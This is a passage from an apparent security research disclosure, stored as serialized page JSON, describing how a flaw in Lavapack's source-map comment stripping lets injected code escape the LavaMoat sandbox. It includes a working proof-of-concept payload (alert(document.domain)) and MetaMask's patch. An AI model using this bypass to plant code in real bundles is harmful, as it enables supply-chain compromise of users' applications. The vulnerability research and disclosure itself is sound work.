'",{"type":25,"tag":201,"props":49431,"children":49432},{"style":261},[49433],{"type":31,"value":10412},{"type":25,"tag":201,"props":49435,"children":49436},{"style":246},[49437],{"type":31,"value":49438}," src",{"type":25,"tag":201,"props":49440,"children":49441},{"style":261},[49442],{"type":31,"value":10412},{"type":25,"tag":201,"props":49444,"children":49445},{"style":267},[49446],{"type":31,"value":49447}," '",{"type":25,"tag":201,"props":49449,"children":49451},{"style":49450},"--shiki-default:#D7BA7D",[49452],{"type":31,"value":49453},"\\n",{"type":25,"tag":201,"props":49455,"children":49456},{"style":267},[49457],{"type":31,"value":49458},"})()'",{"type":25,"tag":201,"props":49460,"children":49461},{"style":220},[49462],{"type":31,"value":308},{"type":25,"tag":201,"props":49464,"children":49465},{"class":203,"line":278},[49466,49470],{"type":25,"tag":201,"props":49467,"children":49468},{"style":230},[49469],{"type":31,"value":18486},{"type":25,"tag":201,"props":49471,"children":49472},{"style":220},[49473],{"type":31,"value":461},{"type":25,"tag":201,"props":49475,"children":49476},{"class":203,"line":311},[49477],{"type":25,"tag":201,"props":49478,"children":49479},{"style":220},[49480],{"type":31,"value":1187},{"type":25,"tag":201,"props":49482,"children":49483},{"class":203,"line":330},[49484,49489,49493,49498],{"type":25,"tag":201,"props":49485,"children":49486},{"style":230},[49487],{"type":31,"value":49488},"catch",{"type":25,"tag":201,"props":49490,"children":49491},{"style":220},[49492],{"type":31,"value":238},{"type":25,"tag":201,"props":49494,"children":49495},{"style":246},[49496],{"type":31,"value":49497},"err",{"type":25,"tag":201,"props":49499,"children":49500},{"style":220},[49501],{"type":31,"value":275},{"type":25,"tag":201,"props":49503,"children":49504},{"class":203,"line":397},[49505,49509,49513,49517,49521,49526,49530,49535,49539],{"type":25,"tag":201,"props":49506,"children":49507},{"style":230},[49508],{"type":31,"value":13781},{"type":25,"tag":201,"props":49510,"children":49511},{"style":220},[49512],{"type":31,"value":238},{"type":25,"tag":201,"props":49514,"children":49515},{"style":246},[49516],{"type":31,"value":49497},{"type":25,"tag":201,"props":49518,"children":49519},{"style":261},[49520],{"type":31,"value":264},{"type":25,"tag":201,"props":49522,"children":49523},{"style":267},[49524],{"type":31,"value":49525}," 'STOP'",{"type":25,"tag":201,"props":49527,"children":49528},{"style":220},[49529],{"type":31,"value":385},{"type":25,"tag":201,"props":49531,"children":49532},{"style":230},[49533],{"type":31,"value":49534},"return",{"type":25,"tag":201,"props":49536,"children":49537},{"style":208},[49538],{"type":31,"value":40408},{"type":25,"tag":201,"props":49540,"children":49541},{"style":220},[49542],{"type":31,"value":461},{"type":25,"tag":201,"props":49544,"children":49545},{"class":203,"line":437},[49546,49550,49554,49558,49562,49567,49571,49576,49581,49586,49590,49594,49599],{"type":25,"tag":201,"props":49547,"children":49548},{"style":230},[49549],{"type":31,"value":13781},{"type":25,"tag":201,"props":49551,"children":49552},{"style":220},[49553],{"type":31,"value":238},{"type":25,"tag":201,"props":49555,"children":49556},{"style":246},[49557],{"type":31,"value":49497},{"type":25,"tag":201,"props":49559,"children":49560},{"style":220},[49561],{"type":31,"value":80},{"type":25,"tag":201,"props":49563,"children":49564},{"style":246},[49565],{"type":31,"value":49566},"constructor",{"type":25,"tag":201,"props":49568,"children":49569},{"style":220},[49570],{"type":31,"value":80},{"type":25,"tag":201,"props":49572,"children":49573},{"style":246},[49574],{"type":31,"value":49575},"name",{"type":25,"tag":201,"props":49577,"children":49578},{"style":261},[49579],{"type":31,"value":49580}," !==",{"type":25,"tag":201,"props":49582,"children":49583},{"style":267},[49584],{"type":31,"value":49585}," 'SyntaxError'",{"type":25,"tag":201,"props":49587,"children":49588},{"style":220},[49589],{"type":31,"value":385},{"type":25,"tag":201,"props":49591,"children":49592},{"style":230},[49593],{"type":31,"value":49534},{"type":25,"tag":201,"props":49595,"children":49596},{"style":246},[49597],{"type":31,"value":49598}," err",{"type":25,"tag":201,"props":49600,"children":49601},{"style":220},[49602],{"type":31,"value":461},{"type":25,"tag":201,"props":49604,"children":49605},{"class":203,"line":464},[49606,49610,49615,49619,49623,49627,49631,49635,49640],{"type":25,"tag":201,"props":49607,"children":49608},{"style":230},[49609],{"type":31,"value":18486},{"type":25,"tag":201,"props":49611,"children":49612},{"style":214},[49613],{"type":31,"value":49614}," errorInfo",{"type":25,"tag":201,"props":49616,"children":49617},{"style":220},[49618],{"type":31,"value":298},{"type":25,"tag":201,"props":49620,"children":49621},{"style":246},[49622],{"type":31,"value":1596},{"type":25,"tag":201,"props":49624,"children":49625},{"style":220},[49626],{"type":31,"value":919},{"type":25,"tag":201,"props":49628,"children":49629},{"style":246},[49630],{"type":31,"value":49021},{"type":25,"tag":201,"props":49632,"children":49633},{"style":220},[49634],{"type":31,"value":919},{"type":25,"tag":201,"props":49636,"children":49637},{"style":246},[49638],{"type":31,"value":49639},"opts",{"type":25,"tag":201,"props":49641,"children":49642},{"style":220},[49643],{"type":31,"value":308},{"type":25,"tag":201,"props":49645,"children":49646},{"class":203,"line":490},[49647],{"type":25,"tag":201,"props":49648,"children":49649},{"style":220},[49650],{"type":31,"value":1187},{"type":25,"tag":34,"props":49652,"children":49653},{},[49654,49656,49660,49662,49668,49670,49675],{"type":31,"value":49655},"Interestingly, it ",{"type":25,"tag":65,"props":49657,"children":49658},{},[49659],{"type":31,"value":5476},{"type":31,"value":49661}," possible to inject a ",{"type":25,"tag":115,"props":49663,"children":49665},{"className":49664},[],[49666],{"type":31,"value":49667},"}); (() => {",{"type":31,"value":49669}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":25,"tag":115,"props":49671,"children":49673},{"className":49672},[],[49674],{"type":31,"value":49191},{"type":31,"value":49676}," sandbox of Lavapack.",{"type":25,"tag":40,"props":49678,"children":49680},{"id":49679},"sourcemap-the-syntax-killer",[49681],{"type":31,"value":49682},"SourceMap: The Syntax Killer",{"type":25,"tag":34,"props":49684,"children":49685},{},[49686,49688,49695],{"type":31,"value":49687},"Lavapack has a feature to extract source maps files from the code using ",{"type":25,"tag":71,"props":49689,"children":49692},{"href":49690,"rel":49691},"https://www.npmjs.com/package/convert-source-map",[75],[49693],{"type":31,"value":49694},"convert-source-map",{"type":31,"value":49696}," npm package:",{"type":25,"tag":191,"props":49698,"children":49700},{"className":193,"code":49699,"language":195,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[49701],{"type":25,"tag":115,"props":49702,"children":49703},{"__ignoreMap":7},[49704,49728,49770,49778,49819,49860,49888],{"type":25,"tag":201,"props":49705,"children":49706},{"class":203,"line":204},[49707,49711,49716,49720,49724],{"type":25,"tag":201,"props":49708,"children":49709},{"style":208},[49710],{"type":31,"value":211},{"type":25,"tag":201,"props":49712,"children":49713},{"style":214},[49714],{"type":31,"value":49715}," extractSourceMaps",{"type":25,"tag":201,"props":49717,"children":49718},{"style":220},[49719],{"type":31,"value":298},{"type":25,"tag":201,"props":49721,"children":49722},{"style":246},[49723],{"type":31,"value":39084},{"type":25,"tag":201,"props":49725,"children":49726},{"style":220},[49727],{"type":31,"value":275},{"type":25,"tag":201,"props":49729,"children":49730},{"class":203,"line":226},[49731,49735,49740,49744,49749,49753,49758,49762,49766],{"type":25,"tag":201,"props":49732,"children":49733},{"style":208},[49734],{"type":31,"value":37258},{"type":25,"tag":201,"props":49736,"children":49737},{"style":246},[49738],{"type":31,"value":49739}," converter",{"type":25,"tag":201,"props":49741,"children":49742},{"style":261},[49743],{"type":31,"value":413},{"type":25,"tag":201,"props":49745,"children":49746},{"style":246},[49747],{"type":31,"value":49748}," convertSourceMap",{"type":25,"tag":201,"props":49750,"children":49751},{"style":220},[49752],{"type":31,"value":80},{"type":25,"tag":201,"props":49754,"children":49755},{"style":214},[49756],{"type":31,"value":49757},"fromSource",{"type":25,"tag":201,"props":49759,"children":49760},{"style":220},[49761],{"type":31,"value":298},{"type":25,"tag":201,"props":49763,"children":49764},{"style":246},[49765],{"type":31,"value":39084},{"type":25,"tag":201,"props":49767,"children":49768},{"style":220},[49769],{"type":31,"value":4666},{"type":25,"tag":201,"props":49771,"children":49772},{"class":203,"line":278},[49773],{"type":25,"tag":201,"props":49774,"children":49775},{"style":4497},[49776],{"type":31,"value":49777},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":25,"tag":201,"props":49779,"children":49780},{"class":203,"line":311},[49781,49785,49790,49794,49798,49802,49806,49810,49815],{"type":25,"tag":201,"props":49782,"children":49783},{"style":208},[49784],{"type":31,"value":37258},{"type":25,"tag":201,"props":49786,"children":49787},{"style":246},[49788],{"type":31,"value":49789}," maps",{"type":25,"tag":201,"props":49791,"children":49792},{"style":261},[49793],{"type":31,"value":413},{"type":25,"tag":201,"props":49795,"children":49796},{"style":246},[49797],{"type":31,"value":49739},{"type":25,"tag":201,"props":49799,"children":49800},{"style":261},[49801],{"type":31,"value":15687},{"type":25,"tag":201,"props":49803,"children":49804},{"style":246},[49805],{"type":31,"value":49739},{"type":25,"tag":201,"props":49807,"children":49808},{"style":220},[49809],{"type":31,"value":80},{"type":25,"tag":201,"props":49811,"children":49812},{"style":214},[49813],{"type":31,"value":49814},"toObject",{"type":25,"tag":201,"props":49816,"children":49817},{"style":220},[49818],{"type":31,"value":1882},{"type":25,"tag":201,"props":49820,"children":49821},{"class":203,"line":330},[49822,49826,49831,49835,49839,49843,49848,49852,49856],{"type":25,"tag":201,"props":49823,"children":49824},{"style":208},[49825],{"type":31,"value":37258},{"type":25,"tag":201,"props":49827,"children":49828},{"style":246},[49829],{"type":31,"value":49830}," code",{"type":25,"tag":201,"props":49832,"children":49833},{"style":261},[49834],{"type":31,"value":413},{"type":25,"tag":201,"props":49836,"children":49837},{"style":246},[49838],{"type":31,"value":49748},{"type":25,"tag":201,"props":49840,"children":49841},{"style":220},[49842],{"type":31,"value":80},{"type":25,"tag":201,"props":49844,"children":49845},{"style":214},[49846],{"type":31,"value":49847},"removeComments",{"type":25,"tag":201,"props":49849,"children":49850},{"style":220},[49851],{"type":31,"value":298},{"type":25,"tag":201,"props":49853,"children":49854},{"style":246},[49855],{"type":31,"value":39084},{"type":25,"tag":201,"props":49857,"children":49858},{"style":220},[49859],{"type":31,"value":4666},{"type":25,"tag":201,"props":49861,"children":49862},{"class":203,"line":397},[49863,49867,49871,49875,49879,49884],{"type":25,"tag":201,"props":49864,"children":49865},{"style":230},[49866],{"type":31,"value":40269},{"type":25,"tag":201,"props":49868,"children":49869},{"style":220},[49870],{"type":31,"value":11090},{"type":25,"tag":201,"props":49872,"children":49873},{"style":246},[49874],{"type":31,"value":115},{"type":25,"tag":201,"props":49876,"children":49877},{"style":220},[49878],{"type":31,"value":919},{"type":25,"tag":201,"props":49880,"children":49881},{"style":246},[49882],{"type":31,"value":49883},"maps",{"type":25,"tag":201,"props":49885,"children":49886},{"style":220},[49887],{"type":31,"value":11100},{"type":25,"tag":201,"props":49889,"children":49890},{"class":203,"line":437},[49891],{"type":25,"tag":201,"props":49892,"children":49893},{"style":220},[49894],{"type":31,"value":1187},{"type":25,"tag":34,"props":49896,"children":49897},{},[49898,49900,49905,49907,49912],{"type":31,"value":49899},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":25,"tag":115,"props":49901,"children":49903},{"className":49902},[],[49904],{"type":31,"value":49342},{"type":31,"value":49906}," stage. Reviewing the ",{"type":25,"tag":115,"props":49908,"children":49910},{"className":49909},[],[49911],{"type":31,"value":49694},{"type":31,"value":49913}," code, we can see exactly how this happens.",{"type":25,"tag":191,"props":49915,"children":49917},{"className":193,"code":49916,"language":195,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[49918],{"type":25,"tag":115,"props":49919,"children":49920},{"__ignoreMap":7},[49921,49960,49986,49994,50208,50215,50222,50229,50264,50314],{"type":25,"tag":201,"props":49922,"children":49923},{"class":203,"line":204},[49924,49929,49933,49938,49942,49946,49950,49955],{"type":25,"tag":201,"props":49925,"children":49926},{"style":246},[49927],{"type":31,"value":49928},"Object",{"type":25,"tag":201,"props":49930,"children":49931},{"style":220},[49932],{"type":31,"value":80},{"type":25,"tag":201,"props":49934,"children":49935},{"style":214},[49936],{"type":31,"value":49937},"defineProperty",{"type":25,"tag":201,"props":49939,"children":49940},{"style":220},[49941],{"type":31,"value":298},{"type":25,"tag":201,"props":49943,"children":49944},{"style":4925},[49945],{"type":31,"value":38956},{"type":25,"tag":201,"props":49947,"children":49948},{"style":220},[49949],{"type":31,"value":919},{"type":25,"tag":201,"props":49951,"children":49952},{"style":267},[49953],{"type":31,"value":49954},"'commentRegex'",{"type":25,"tag":201,"props":49956,"children":49957},{"style":220},[49958],{"type":31,"value":49959},", {\n",{"type":25,"tag":201,"props":49961,"children":49962},{"class":203,"line":226},[49963,49968,49972,49976,49981],{"type":25,"tag":201,"props":49964,"children":49965},{"style":214},[49966],{"type":31,"value":49967},"  get",{"type":25,"tag":201,"props":49969,"children":49970},{"style":246},[49971],{"type":31,"value":5997},{"type":25,"tag":201,"props":49973,"children":49974},{"style":208},[49975],{"type":31,"value":39284},{"type":25,"tag":201,"props":49977,"children":49978},{"style":214},[49979],{"type":31,"value":49980}," getCommentRegex",{"type":25,"tag":201,"props":49982,"children":49983},{"style":220},[49984],{"type":31,"value":49985}," () {\n",{"type":25,"tag":201,"props":49987,"children":49988},{"class":203,"line":278},[49989],{"type":25,"tag":201,"props":49990,"children":49991},{"style":4497},[49992],{"type":31,"value":49993},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":25,"tag":201,"props":49995,"children":49996},{"class":203,"line":311},[49997,50001,50007,50012,50017,50022,50026,50031,50036,50041,50045,50049,50054,50059,50064,50069,50073,50077,50081,50086,50090,50095,50100,50105,50110,50114,50118,50122,50126,50130,50134,50138,50142,50147,50152,50156,50161,50166,50170,50174,50178,50182,50187,50191,50195,50199,50204],{"type":25,"tag":201,"props":49998,"children":49999},{"style":230},[50000],{"type":31,"value":18486},{"type":25,"tag":201,"props":50002,"children":50004},{"style":50003},"--shiki-default:#D16969",[50005],{"type":31,"value":50006}," /",{"type":25,"tag":201,"props":50008,"children":50009},{"style":214},[50010],{"type":31,"value":50011},"^",{"type":25,"tag":201,"props":50013,"children":50014},{"style":50003},[50015],{"type":31,"value":50016},"\\s",{"type":25,"tag":201,"props":50018,"children":50019},{"style":49450},[50020],{"type":31,"value":50021},"*?\\/",{"type":25,"tag":201,"props":50023,"children":50024},{"style":267},[50025],{"type":31,"value":423},{"type":25,"tag":201,"props":50027,"children":50028},{"style":49450},[50029],{"type":31,"value":50030},"\\/\\*",{"type":25,"tag":201,"props":50032,"children":50033},{"style":267},[50034],{"type":31,"value":50035},"][",{"type":25,"tag":201,"props":50037,"children":50038},{"style":50003},[50039],{"type":31,"value":50040},"@#",{"type":25,"tag":201,"props":50042,"children":50043},{"style":267},[50044],{"type":31,"value":16907},{"type":25,"tag":201,"props":50046,"children":50047},{"style":50003},[50048],{"type":31,"value":50016},{"type":25,"tag":201,"props":50050,"children":50051},{"style":49450},[50052],{"type":31,"value":50053},"+?",{"type":25,"tag":201,"props":50055,"children":50056},{"style":50003},[50057],{"type":31,"value":50058},"sourceMappingURL=data:",{"type":25,"tag":201,"props":50060,"children":50061},{"style":267},[50062],{"type":31,"value":50063},"(((?:",{"type":25,"tag":201,"props":50065,"children":50066},{"style":50003},[50067],{"type":31,"value":50068},"application",{"type":25,"tag":201,"props":50070,"children":50071},{"style":214},[50072],{"type":31,"value":11918},{"type":25,"tag":201,"props":50074,"children":50075},{"style":50003},[50076],{"type":31,"value":31},{"type":25,"tag":201,"props":50078,"children":50079},{"style":267},[50080],{"type":31,"value":3073},{"type":25,"tag":201,"props":50082,"children":50083},{"style":49450},[50084],{"type":31,"value":50085},"\\/",{"type":25,"tag":201,"props":50087,"children":50088},{"style":50003},[50089],{"type":31,"value":2933},{"type":25,"tag":201,"props":50091,"children":50092},{"style":267},[50093],{"type":31,"value":50094},")(?:",{"type":25,"tag":201,"props":50096,"children":50097},{"style":50003},[50098],{"type":31,"value":50099},";charset=",{"type":25,"tag":201,"props":50101,"children":50102},{"style":267},[50103],{"type":31,"value":50104},"([^",{"type":25,"tag":201,"props":50106,"children":50107},{"style":50003},[50108],{"type":31,"value":50109},";,",{"type":25,"tag":201,"props":50111,"children":50112},{"style":267},[50113],{"type":31,"value":16907},{"type":25,"tag":201,"props":50115,"children":50116},{"style":49450},[50117],{"type":31,"value":50053},{"type":25,"tag":201,"props":50119,"children":50120},{"style":267},[50121],{"type":31,"value":3073},{"type":25,"tag":201,"props":50123,"children":50124},{"style":49450},[50125],{"type":31,"value":4661},{"type":25,"tag":201,"props":50127,"children":50128},{"style":267},[50129],{"type":31,"value":3073},{"type":25,"tag":201,"props":50131,"children":50132},{"style":49450},[50133],{"type":31,"value":4661},{"type":25,"tag":201,"props":50135,"children":50136},{"style":267},[50137],{"type":31,"value":3073},{"type":25,"tag":201,"props":50139,"children":50140},{"style":49450},[50141],{"type":31,"value":4661},{"type":25,"tag":201,"props":50143,"children":50144},{"style":267},[50145],{"type":31,"value":50146},"(?:",{"type":25,"tag":201,"props":50148,"children":50149},{"style":50003},[50150],{"type":31,"value":50151},";",{"type":25,"tag":201,"props":50153,"children":50154},{"style":267},[50155],{"type":31,"value":298},{"type":25,"tag":201,"props":50157,"children":50158},{"style":50003},[50159],{"type":31,"value":50160},"base64",{"type":25,"tag":201,"props":50162,"children":50163},{"style":267},[50164],{"type":31,"value":50165},"))",{"type":25,"tag":201,"props":50167,"children":50168},{"style":49450},[50169],{"type":31,"value":4661},{"type":25,"tag":201,"props":50171,"children":50172},{"style":50003},[50173],{"type":31,"value":5628},{"type":25,"tag":201,"props":50175,"children":50176},{"style":267},[50177],{"type":31,"value":298},{"type":25,"tag":201,"props":50179,"children":50180},{"style":50003},[50181],{"type":31,"value":80},{"type":25,"tag":201,"props":50183,"children":50184},{"style":49450},[50185],{"type":31,"value":50186},"*?",{"type":25,"tag":201,"props":50188,"children":50189},{"style":267},[50190],{"type":31,"value":3073},{"type":25,"tag":201,"props":50192,"children":50193},{"style":214},[50194],{"type":31,"value":11791},{"type":25,"tag":201,"props":50196,"children":50197},{"style":50003},[50198],{"type":31,"value":6087},{"type":25,"tag":201,"props":50200,"children":50201},{"style":208},[50202],{"type":31,"value":50203},"mg",{"type":25,"tag":201,"props":50205,"children":50206},{"style":220},[50207],{"type":31,"value":461},{"type":25,"tag":201,"props":50209,"children":50210},{"class":203,"line":330},[50211],{"type":25,"tag":201,"props":50212,"children":50213},{"style":220},[50214],{"type":31,"value":1178},{"type":25,"tag":201,"props":50216,"children":50217},{"class":203,"line":397},[50218],{"type":25,"tag":201,"props":50219,"children":50220},{"style":220},[50221],{"type":31,"value":4286},{"type":25,"tag":201,"props":50223,"children":50224},{"class":203,"line":437},[50225],{"type":25,"tag":201,"props":50226,"children":50227},{"emptyLinePlaceholder":17},[50228],{"type":31,"value":496},{"type":25,"tag":201,"props":50230,"children":50231},{"class":203,"line":464},[50232,50236,50240,50244,50248,50252,50256,50260],{"type":25,"tag":201,"props":50233,"children":50234},{"style":4925},[50235],{"type":31,"value":38956},{"type":25,"tag":201,"props":50237,"children":50238},{"style":220},[50239],{"type":31,"value":80},{"type":25,"tag":201,"props":50241,"children":50242},{"style":214},[50243],{"type":31,"value":49847},{"type":25,"tag":201,"props":50245,"children":50246},{"style":261},[50247],{"type":31,"value":413},{"type":25,"tag":201,"props":50249,"children":50250},{"style":208},[50251],{"type":31,"value":39284},{"type":25,"tag":201,"props":50253,"children":50254},{"style":220},[50255],{"type":31,"value":238},{"type":25,"tag":201,"props":50257,"children":50258},{"style":246},[50259],{"type":31,"value":1596},{"type":25,"tag":201,"props":50261,"children":50262},{"style":220},[50263],{"type":31,"value":275},{"type":25,"tag":201,"props":50265,"children":50266},{"class":203,"line":490},[50267,50271,50275,50279,50284,50288,50292,50296,50301,50305,50310],{"type":25,"tag":201,"props":50268,"children":50269},{"style":230},[50270],{"type":31,"value":40269},{"type":25,"tag":201,"props":50272,"children":50273},{"style":246},[50274],{"type":31,"value":49438},{"type":25,"tag":201,"props":50276,"children":50277},{"style":220},[50278],{"type":31,"value":80},{"type":25,"tag":201,"props":50280,"children":50281},{"style":214},[50282],{"type":31,"value":50283},"replace",{"type":25,"tag":201,"props":50285,"children":50286},{"style":220},[50287],{"type":31,"value":298},{"type":25,"tag":201,"props":50289,"children":50290},{"style":4925},[50291],{"type":31,"value":38956},{"type":25,"tag":201,"props":50293,"children":50294},{"style":220},[50295],{"type":31,"value":80},{"type":25,"tag":201,"props":50297,"children":50298},{"style":246},[50299],{"type":31,"value":50300},"commentRegex",{"type":25,"tag":201,"props":50302,"children":50303},{"style":220},[50304],{"type":31,"value":919},{"type":25,"tag":201,"props":50306,"children":50307},{"style":267},[50308],{"type":31,"value":50309},"''",{"type":25,"tag":201,"props":50311,"children":50312},{"style":220},[50313],{"type":31,"value":308},{"type":25,"tag":201,"props":50315,"children":50316},{"class":203,"line":499},[50317],{"type":25,"tag":201,"props":50318,"children":50319},{"style":220},[50320],{"type":31,"value":18073},{"type":25,"tag":34,"props":50322,"children":50323},{},[50324,50326,50332],{"type":31,"value":50325},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":25,"tag":115,"props":50327,"children":50329},{"className":50328},[],[50330],{"type":31,"value":50331},"/*",{"type":31,"value":50333},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":25,"tag":40,"props":50335,"children":50337},{"id":50336},"the-bypass",[50338],{"type":31,"value":50339},"The Bypass",{"type":25,"tag":34,"props":50341,"children":50342},{},[50343,50345,50350,50352,50357],{"type":31,"value":50344},"By abusing the ",{"type":25,"tag":115,"props":50346,"children":50348},{"className":50347},[],[50349],{"type":31,"value":49847},{"type":31,"value":50351}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":25,"tag":115,"props":50353,"children":50355},{"className":50354},[],[50356],{"type":31,"value":49191},{"type":31,"value":50358}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":25,"tag":191,"props":50360,"children":50362},{"className":193,"code":50361,"language":195,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[50363],{"type":25,"tag":115,"props":50364,"children":50365},{"__ignoreMap":7},[50366,50374,50381,50389,50397,50405,50413,50421,50429,50436,50444],{"type":25,"tag":201,"props":50367,"children":50368},{"class":203,"line":204},[50369],{"type":25,"tag":201,"props":50370,"children":50371},{"style":4497},[50372],{"type":31,"value":50373},"/*# sourceMappingURL=data:,{}\n",{"type":25,"tag":201,"props":50375,"children":50376},{"class":203,"line":226},[50377],{"type":25,"tag":201,"props":50378,"children":50379},{"emptyLinePlaceholder":17},[50380],{"type":31,"value":496},{"type":25,"tag":201,"props":50382,"children":50383},{"class":203,"line":278},[50384],{"type":25,"tag":201,"props":50385,"children":50386},{"style":4497},[50387],{"type":31,"value":50388},"}}}}\n",{"type":25,"tag":201,"props":50390,"children":50391},{"class":203,"line":311},[50392],{"type":25,"tag":201,"props":50393,"children":50394},{"style":4497},[50395],{"type":31,"value":50396},"}, {\n",{"type":25,"tag":201,"props":50398,"children":50399},{"class":203,"line":330},[50400],{"type":25,"tag":201,"props":50401,"children":50402},{"style":4497},[50403],{"type":31,"value":50404},"    package: \"xpl\",\n",{"type":25,"tag":201,"props":50406,"children":50407},{"class":203,"line":397},[50408],{"type":25,"tag":201,"props":50409,"children":50410},{"style":4497},[50411],{"type":31,"value":50412},"    file: \"node_modules/xpl/index.js\",\n",{"type":25,"tag":201,"props":50414,"children":50415},{"class":203,"line":437},[50416],{"type":25,"tag":201,"props":50417,"children":50418},{"style":4497},[50419],{"type":31,"value":50420},"    test: alert(document.domain),\n",{"type":25,"tag":201,"props":50422,"children":50423},{"class":203,"line":464},[50424],{"type":25,"tag":201,"props":50425,"children":50426},{"style":4497},[50427],{"type":31,"value":50428},"    test1: () => { () => { () => { () => {\n",{"type":25,"tag":201,"props":50430,"children":50431},{"class":203,"line":490},[50432],{"type":25,"tag":201,"props":50433,"children":50434},{"emptyLinePlaceholder":17},[50435],{"type":31,"value":496},{"type":25,"tag":201,"props":50437,"children":50438},{"class":203,"line":499},[50439],{"type":25,"tag":201,"props":50440,"children":50441},{"style":4497},[50442],{"type":31,"value":50443},"/*\n",{"type":25,"tag":201,"props":50445,"children":50446},{"class":203,"line":522},[50447],{"type":25,"tag":201,"props":50448,"children":50449},{"style":4497},[50450],{"type":31,"value":50451},"*/\n",{"type":25,"tag":34,"props":50453,"children":50454},{},[50455],{"type":31,"value":50456},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":25,"tag":40,"props":50458,"children":50460},{"id":50459},"lavapack-patch",[50461],{"type":31,"value":50462},"Lavapack Patch",{"type":25,"tag":34,"props":50464,"children":50465},{},[50466,50468,50474],{"type":31,"value":50467},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":25,"tag":115,"props":50469,"children":50471},{"className":50470},[],[50472],{"type":31,"value":50473},"assertValidJS",{"type":31,"value":50475},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":25,"tag":34,"props":50477,"children":50478},{},[50479,50481,50488],{"type":31,"value":50480},"The patch was introduced in commit ",{"type":25,"tag":71,"props":50482,"children":50485},{"href":50483,"rel":50484},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[75],[50486],{"type":31,"value":50487},"9c38cd4",{"type":31,"value":80},{"type":25,"tag":191,"props":50490,"children":50492},{"className":41431,"code":50491,"language":41433,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[50493],{"type":25,"tag":115,"props":50494,"children":50495},{"__ignoreMap":7},[50496,50504,50512,50520,50528,50536,50544,50552,50559,50567],{"type":25,"tag":201,"props":50497,"children":50498},{"class":203,"line":204},[50499],{"type":25,"tag":201,"props":50500,"children":50501},{"style":426},[50502],{"type":31,"value":50503},"+ function assertValidJS(code) {\n",{"type":25,"tag":201,"props":50505,"children":50506},{"class":203,"line":226},[50507],{"type":25,"tag":201,"props":50508,"children":50509},{"style":426},[50510],{"type":31,"value":50511},"+  try {\n",{"type":25,"tag":201,"props":50513,"children":50514},{"class":203,"line":278},[50515],{"type":25,"tag":201,"props":50516,"children":50517},{"style":426},[50518],{"type":31,"value":50519},"+    new Function(code)\n",{"type":25,"tag":201,"props":50521,"children":50522},{"class":203,"line":311},[50523],{"type":25,"tag":201,"props":50524,"children":50525},{"style":426},[50526],{"type":31,"value":50527},"+  } catch (err) {\n",{"type":25,"tag":201,"props":50529,"children":50530},{"class":203,"line":330},[50531],{"type":25,"tag":201,"props":50532,"children":50533},{"style":426},[50534],{"type":31,"value":50535},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":25,"tag":201,"props":50537,"children":50538},{"class":203,"line":397},[50539],{"type":25,"tag":201,"props":50540,"children":50541},{"style":426},[50542],{"type":31,"value":50543},"+  }\n",{"type":25,"tag":201,"props":50545,"children":50546},{"class":203,"line":437},[50547],{"type":25,"tag":201,"props":50548,"children":50549},{"style":426},[50550],{"type":31,"value":50551},"+ }\n",{"type":25,"tag":201,"props":50553,"children":50554},{"class":203,"line":464},[50555],{"type":25,"tag":201,"props":50556,"children":50557},{"emptyLinePlaceholder":17},[50558],{"type":31,"value":496},{"type":25,"tag":201,"props":50560,"children":50561},{"class":203,"line":490},[50562],{"type":25,"tag":201,"props":50563,"children":50564},{"style":426},[50565],{"type":31,"value":50566},"+  // additional layer of syntax checking independent of browserify\n",{"type":25,"tag":201,"props":50568,"children":50569},{"class":203,"line":499},[50570],{"type":25,"tag":201,"props":50571,"children":50572},{"style":426},[50573],{"type":31,"value":50574},"+  assertValidJS(sourceMeta.code)\n",{"type":25,"tag":26,"props":50576,"children":50578},{"id":50577},"hacking-js-realms",[50579],{"type":31,"value":50580},"Hacking JS Realms",{"type":25,"tag":34,"props":50582,"children":50583},{},[50584,50586,50591],{"type":31,"value":50585},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":25,"tag":115,"props":50587,"children":50589},{"className":50588},[],[50590],{"type":31,"value":38487},{"type":31,"value":50592}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":25,"tag":191,"props":50594,"children":50596},{"className":193,"code":50595,"language":195,"meta":7,"style":7},"const w = 